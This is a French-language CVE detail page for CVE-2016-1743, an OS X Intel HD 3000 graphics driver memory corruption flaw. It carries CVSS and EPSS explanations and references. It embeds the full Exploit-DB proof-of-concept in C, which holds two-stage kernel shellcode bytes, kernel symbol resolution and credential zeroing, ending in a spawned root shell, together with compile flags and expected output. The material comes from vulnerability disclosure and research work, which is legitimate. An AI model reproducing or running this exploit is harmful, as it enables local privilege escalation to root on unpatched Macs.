CVE-2016-1743 : Détail

CVE-2016-1743

7.8
/
Haute
Overflow
0.2%V3
Local
2016-03-24
00h00 +00:00
2017-09-07
07h57 +00:00
CVE.org
NVD
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Descriptions du CVE

The Intel driver in the Graphics Drivers subsystem in Apple OS X before 10.11.4 allows attackers to execute arbitrary code in a privileged context or cause a denial of service (memory corruption) via a crafted app, a different vulnerability than CVE-2016-1744.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 39675

Date de publication : 2016-04-07 22h00 +00:00
Auteur : Piotr Bania
EDB Vérifié : No

/* ░▀█▀░█▀█░█░░░█▀█░█▀▀░░░█░█░█░█░█░░░█▀█░█▀▄░█▀▀░█░█░ ░░█░░█▀█░█░░░█░█░▀▀█░░░▀▄▀░█░█░█░░░█░█░█░█░█▀▀░▀▄▀░ ░░▀░░▀░▀░▀▀▀░▀▀▀░▀▀▀░░░░▀░░▀▀▀░▀▀▀░▀░▀░▀▀░░▀▀▀░░▀░░ T A L O S V U L N D E V Proof-of-Concept Exploit Advisory: http://www.talosintel.com/reports/TALOS-2016-0088/ Snort rules: 37517, 37518 CVE-2016-1743 Author: Piotr Bania, Cisco Talos Target: Apple Intel HD 3000 Graphics driver Impact: Local Privilege Escalation (root) Tested Configuration: Apple Intel HD 3000 Graphics driver 10.0.0 Darwin Kernel Version 15.2.0 OSX 10.11.2 Compilation: gcc TALOS-2016-0088_poc.c lsym.m -o TALOS-2016-0088_poc -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3 kudos: qwertyoruiop (i've grabbed the lsym thing from you) technical information (AppleIntelHD3000Graphics driver 10.0.0) : ... __text:000000000001AA4E mov ecx, [rcx] __text:000000000001AA50 add ecx, ecx __text:000000000001AA52 sub eax, ecx __text:000000000001AA54 cmp rbx, rax __text:000000000001AA57 ja loc_1AC8C __text:000000000001AA5D mov [rbp+var_54], esi __text:000000000001AA60 mov rax, [rdi] __text:000000000001AA63 mov esi, 168h __text:000000000001AA68 call qword ptr [rax+980h] ; # WE CAN CONTROL THIS # Expected output: mac-mini:bug mini$ uname -a Darwin BLAs-Mac-mini 15.2.0 Darwin Kernel Version 15.2.0: Fri Nov 13 19:56:56 PST 2015; root:xnu-3248.20.55~2/RELEASE_X86_64 x86_64 mac-mini:bug mini$ ./TALOS-2016-0088_poc ---------------------------------------------------------------- APPLE MAC MINI AppleIntelHD3000Graphics EXPLOIT OSX 10.11 by Piotr Bania / CISCO TALOS ---------------------------------------------------------------- Alloc: deallocating! Alloc: allocating 0x2000 (0x00000000 - 0x00002000)bytes Alloc: vm_allocate ok, now vm_protect ... Alloc: vm_allocate returned = 0 - addr = 0x00000000, vm_protect ok, filling Mapping the kernel MapKernel: kernel mapped Initializing service InitService: Trying: Gen6Accelerator InitService: service ok! Commencing stage 1 Stage1: Copying the stage1 payload 0x00001000 - 0x00001071 Stage1: Setting up the RIP to 0x00001000 Stage1: Copying trigger data Stage1: Making stage1 call Stage1: leaked kernel address 0xffffff8021e00000 Stage1: kernel address leaked, success! ResolveApi: using kernel addr 0xffffff8021e00000 (file base = 0xffffff8000200000) ResolveApi: _current_proc = 0xffffff8022437a60 ResolveApi: _proc_ucred = 0xffffff80223a9af0 ResolveApi: _posix_cred_get = 0xffffff802237e780 ResolveApi: _chgproccnt = 0xffffff80223a8400 Commencing stage 2 Stage2: preparing the stage2 payload Stage2: Copying the stage2 payload 0x00001000 - 0x00001071 Stage2: Setting up the RIP to 0x00001000 Stage2: Copying trigger data Stage2: Making stage2 call Stage2: success, got root! Stage2: now executing shell sh-3.2# whoami root sh-3.2# */ #include "import.h" /** defines **/ #define MEM_SIZE 0x2000 #define PAYLOAD_MEM_START 0x1000 #define INIT_SIG 0x0210010100000008 #define OFFSET_PAYLOAD_EXEC 0x980 #define OFFSET_ROOM 64 #define RESOLVE_SYMBOL_MY(map, name) lsym_find_symbol(map, name) - base + KernelAddr /** stage 1 payload - get kernel address and put it to 0x1000 ; memory space for kernel address nop nop nop nop nop nop nop nop save_regs64 ; get msr entry mov rcx, 0C0000082h ; lstar rdmsr ; MSR[ecx] --> edx:eax shl rdx, 32 or rax, rdx ; find kernel addr - scan backwards MAX_KERNEL_SCAN_SIZE equ 10000h KERNEL_SIG equ 01000007FEEDFACFh PAGE_SIZE equ 1000h mov rcx, MAX_KERNEL_SCAN_SIZE and rax, not 0FFFFFh xor rdx, rdx mov r8, KERNEL_SIG scan_loop: sub rax, PAGE_SIZE dec rcx jz scan_done ; is sig correct? cmp qword [rax], r8 jnz scan_loop mov rdx, rax scan_done: ; store the addr - rdx kernel addr, 0 if not found lea rcx, [shell_start] mov qword [rcx], rdx load_regs64 xor rax, rax xor r15, r15 ret **/ unsigned char stage1[113] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x53, 0x55, 0x57, 0x56, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x09, 0xD0, 0x48, 0xC7, 0xC1, 0x00, 0x00, 0x01, 0x00, 0x48, 0x25, 0x00, 0x00, 0xF0, 0xFF, 0x48, 0x31, 0xD2, 0x49, 0xB8, 0xCF, 0xFA, 0xED, 0xFE, 0x07, 0x00, 0x00, 0x01, 0x48, 0x2D, 0x00, 0x10, 0x00, 0x00, 0x48, 0xFF, 0xC9, 0x74, 0x08, 0x4C, 0x39, 0x00, 0x75, 0xF0, 0x48, 0x89, 0xC2, 0x48, 0x8D, 0x0D, 0xA5, 0xFF, 0xFF, 0xFF, 0x48, 0x89, 0x11, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5E, 0x5F, 0x5D, 0x5B, 0x48, 0x31, 0xC0, 0x4D, 0x31, 0xFF, 0xC3 }; /** stage 2 payload - escalate jmp over_api_table api_current_proc dq 0 api_proc_ucred dq 0 api_posix_cred_get dq 0 api_chgproccnt dq 0 over_api_table: save_regs64 mov rax, qword [api_current_proc] call rax mov rdi, rax ; rdi = cur_proc ; system v abi - rdi first arg mov rax, qword [api_proc_ucred] call rax ; rax = cur_ucred mov rdi, rax mov rax, qword [api_posix_cred_get] call rax ; rax = pcred mov dword [rax], 0 mov dword [rax+8], 0 load_regs64 xor rax, rax xor r15, r15 ret **/ #define OFF_API_START 2 #define OFF_API_CURRENT_PROC OFF_API_START #define OFF_API_PROC_UCRED OFF_API_CURRENT_PROC + 8 #define OFF_API_POSIX_CRED_GET OFF_API_PROC_UCRED + 8 #define OFF_API_CHGPROCCNT OFF_API_POSIX_CRED_GET + 8 // not used in this example unsigned char stage2[111] = { 0xEB, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0x55, 0x57, 0x56, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, 0x05, 0xCD, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0x48, 0x89, 0xC7, 0x48, 0x8B, 0x05, 0xC9, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0x48, 0x89, 0xC7, 0x48, 0x8B, 0x05, 0xC5, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x40, 0x08, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5E, 0x5F, 0x5D, 0x5B, 0x48, 0x31, 0xC0, 0x4D, 0x31, 0xFF, 0xC3 }; /** globals **/ uint64_t mem; io_connect_t conn; uint64_t KernelAddr = 0; lsym_map_t* MappingKernel = 0; uint64_t api_current_proc = 0; uint64_t api_proc_ucred = 0; uint64_t api_posix_cred_get = 0; uint64_t api_chgproccnt = 0; /** functions **/ uint64_t Alloc(uint32_t addr, uint32_t sz) { mach_error_t k_error; printf("Alloc: deallocating! \n"); vm_deallocate(mach_task_self(), (vm_address_t) addr, sz); printf("Alloc: allocating 0x%x (0x%08x - 0x%08x) bytes\n", sz, addr, addr+sz); k_error = vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0); if (k_error != KERN_SUCCESS) { printf("Alloc: vm_allocate() - failed with message %s (error = %d)!\n", mach_error_string(k_error), k_error); exit(-1); } printf("Alloc: vm_allocate ok, now vm_protect ...\n"); k_error = vm_protect(mach_task_self(), addr, sz, 0, 7); //rwx if (k_error != KERN_SUCCESS) { printf("Alloc: vm_protect() - failed with message %s (error = %d)!\n", mach_error_string(k_error), k_error); exit(-1); } printf("Alloc: vm_allocate returned = %d - addr = 0x%08x, vm_protect ok, filling\n", k_error, addr); while(sz--) *(char*)(addr+sz)=0; return addr; } int MapKernel(void) { MappingKernel = lsym_map_file("/mach_kernel"); if (!MappingKernel || !MappingKernel->map) { MappingKernel = lsym_map_file("/System/Library/Kernels/kernel"); } if (!MappingKernel || !MappingKernel->map) { printf("MapKernel: unable to map kernel, quiting \n"); return -1; } printf("MapKernel: kernel mapped \n"); return 1; } int ResolveApi(void) { uint64_t base = lsym_kernel_base(MappingKernel); api_current_proc = RESOLVE_SYMBOL_MY(MappingKernel, "_current_proc"); api_proc_ucred = RESOLVE_SYMBOL_MY(MappingKernel, "_proc_ucred"); api_posix_cred_get = RESOLVE_SYMBOL_MY(MappingKernel, "_posix_cred_get"); api_chgproccnt = RESOLVE_SYMBOL_MY(MappingKernel, "_chgproccnt"); printf("ResolveApi: using kernel addr 0x%016llx (file base = 0x%016llx) \n", KernelAddr, base); printf("ResolveApi: _current_proc = 0x%016llx \n", api_current_proc); printf("ResolveApi: _proc_ucred = 0x%016llx \n", api_proc_ucred); printf("ResolveApi: _posix_cred_get = 0x%016llx \n", api_posix_cred_get); printf("ResolveApi: _chgproccnt = 0x%016llx \n", api_chgproccnt); return 1; } int InitService(char *IoServiceName) { int type; io_service_t service; CFMutableDictionaryRef matching; io_iterator_t iterator; printf("InitService: Trying: %s \n", IoServiceName); matching = IOServiceMatching(IoServiceName); if( !matching) { printf("Initservice: IOServiceMatching() failed \n"); return -1; } if (IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator) != KERN_SUCCESS) { printf("InitService: IOServiceGetMatchingServices failed \n"); return -1; } service = IOIteratorNext(iterator); if (service == IO_OBJECT_NULL) { printf("InitService: IOIteratorNext failed \n"); return -1; } type = 0; conn = MACH_PORT_NULL; if (IOServiceOpen(service, mach_task_self(), 5, &conn) != KERN_SUCCESS) { printf("InitService: IOServiceOpen failed! \n"); return -1; } printf("InitService: service ok! \n"); return 1; } int Stage1(void) { unsigned char *p; unsigned char *p_ptr; kern_return_t k_error; char UselessStruct[4096]; size_t UselessStructSize = 0x14; p = (unsigned char*)mem; p_ptr = p + OFFSET_ROOM; printf("Stage1: Copying the stage1 payload 0x%08x - 0x%08lx \n", PAYLOAD_MEM_START, PAYLOAD_MEM_START + sizeof(stage1)); memcpy((void*)(p + PAYLOAD_MEM_START), (void*)&stage1, sizeof(stage1)); printf("Stage1: Setting up the RIP to 0x%08x \n", PAYLOAD_MEM_START); *(uint64_t*)(p + OFFSET_PAYLOAD_EXEC) = PAYLOAD_MEM_START; printf("Stage1: Copying trigger data \n"); *(uint64_t*)p_ptr = INIT_SIG; printf("Stage1: Making stage1 call\n"); k_error = IOConnectCallMethod(conn, 0x5, 0, 0, p_ptr, 0x8c, 0, 0, &UselessStruct, &UselessStructSize); KernelAddr = *(uint64_t*)PAYLOAD_MEM_START; printf("Stage1: leaked kernel address 0x%016llx \n", KernelAddr); if ((KernelAddr == 0) || (KernelAddr == 0x90909090)) { printf("Stage1: fatal kernel address is wrong, exiting \n"); return -1; } printf("Stage1: kernel address leaked, success! \n"); return 1; } int Stage2(void) { int i; unsigned char *p; unsigned char *p_ptr; kern_return_t k_error; char UselessStruct[4096]; size_t UselessStructSize = 0x14; p = (unsigned char*)mem; p_ptr = p + OFFSET_ROOM; printf("Stage2: preparing the stage2 payload \n"); unsigned char *t = (unsigned char*)&stage2; *(uint64_t*)(t + OFF_API_CURRENT_PROC) = api_current_proc; *(uint64_t*)(t + OFF_API_PROC_UCRED) = api_proc_ucred; *(uint64_t*)(t + OFF_API_POSIX_CRED_GET) = api_posix_cred_get; *(uint64_t*)(t + OFF_API_CHGPROCCNT) = api_chgproccnt; printf("Stage2: Copying the stage2 payload 0x%08x - 0x%08lx \n", PAYLOAD_MEM_START, PAYLOAD_MEM_START + sizeof(stage1)); memcpy((void*)(p + PAYLOAD_MEM_START), (void*)&stage2, sizeof(stage2)); printf("Stage2: Setting up the RIP to 0x%08x \n", PAYLOAD_MEM_START); *(uint64_t*)(p + OFFSET_PAYLOAD_EXEC) = PAYLOAD_MEM_START; printf("Stage2: Copying trigger data \n"); *(uint64_t*)p_ptr = INIT_SIG; printf("Stage2: Making stage2 call\n"); k_error = IOConnectCallMethod(conn, 0x5, 0, 0, p_ptr, 0x8c, 0, 0, &UselessStruct, &UselessStructSize); setuid(0); if (getuid() == 0) { printf("Stage2: success, got root! \n"); printf("Stage2: now executing shell \n"); system("/bin/sh"); exit(0); } printf("Stage2: failed! \n"); return -1; } int main(void) { printf(" ---------------------------------------------------------------- \n"); printf(" APPLE MAC MINI AppleIntelHD3000Graphics EXPLOIT OSX 10.11 \n"); printf(" by Piotr Bania / CISCO TALOS \n"); printf(" ---------------------------------------------------------------- \n\n\n"); IOServiceClose(0); IOServiceOpen(0, 0, 0, 0); // if this fails and we are done mem = Alloc(0, MEM_SIZE); printf("Mapping the kernel \n"); if (MapKernel() == -1) return -1; printf("Initializing service \n"); if (InitService("Gen6Accelerator") == -1) return -1; printf("Commencing stage 1 \n"); if (Stage1() == -1) return -1; if (ResolveApi() == -1) return -1; printf("Commencing stage 2 \n"); Stage2(); return 1; }

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version To (including) 10.11.3

Références

https://support.apple.com/HT206167
Tags : x_refsource_CONFIRM
https://www.exploit-db.com/exploits/39675/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1035363
Tags : vdb-entry, x_refsource_SECTRACK